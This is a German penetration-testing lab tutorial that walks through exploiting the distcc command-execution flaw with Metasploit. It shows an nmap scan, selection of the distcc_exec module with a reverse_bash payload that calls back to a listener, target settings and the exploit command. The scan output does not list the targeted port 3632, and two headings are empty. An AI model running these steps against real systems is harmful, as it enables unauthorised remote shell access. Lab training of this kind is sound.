Penetrationstests durchführen
Das Prinzip der Distcc-Service-Schwachstelle:
Distcc wird für die verteilte Kompilierung großer Codebasen auf Netzwerkservern verwendet. Wenn es jedoch fehlerhaft konfiguriert ist, kann es missbraucht werden, um Befehle auszuführen. Diese Schwachstelle ist in XCode 1.5 und anderen Versionen von Distcc 2.x vorhanden, da auf dem Serverport keine Zugangsbeschränkungen implementiert sind.
Einfach ausgedrückt, fehlen dem Service ordnungsgemäße Prüfungen an Ports und ausgeführten Aufgaben. Dadurch können Angreifer die verteilten Kompilierungsaufgaben nutzen, um ihre eigenen Befehle auszuführen.
Schwachstellen-Indices:
Code des Schwachstellen-Angriffsmoduls:
Zunächst starten Sie msfconsole, um in die Bedienoberfläche zu gelangen:
cd ~
msfconsole
Verwenden Sie das Nmap-Scanning-Tool, um die offenen Ports des Zielhosts zu scannen:
nmap -sV -T4 192.168.122.102
Hier ist ein Beispiel für die Ausgabe, die Sie sehen könnten:
[*] exec: nmap -sV -T4 192.168.122.102
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:51 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0075s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
53/tcp open domain ISC BIND 9.4.2
111/tcp open rpcbind 2 (RPC #100000)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds
Basierend auf den Scanergebnissen suchen Sie das Modul, das dem Port-Service entspricht, den Sie angreifen möchten:
search distcc
Im Kali MSF-Terminal verwenden Sie den use
-Befehl, um das entsprechende Modul auszuwählen:
use exploit/unix/misc/distcc_exec
Dann verwenden Sie den show options
-Befehl, um die Modulparameter anzuzeigen:
show options
Hier ist ein Beispiel für die Ausgabe, die Sie sehen könnten:
Module options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo
it.html
RPORT 3632 yes The target port (TCP)
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.28.140.88 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
Setzen Sie den Parameter RHOST
für den Zielhost auf 192.168.122.102
set RHOST 192.168.122.102
Sobald alles eingestellt ist, verwenden Sie den exploit
-Befehl, um den Host anzugreifen:
exploit
Drücken Sie Ctrl+D
, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung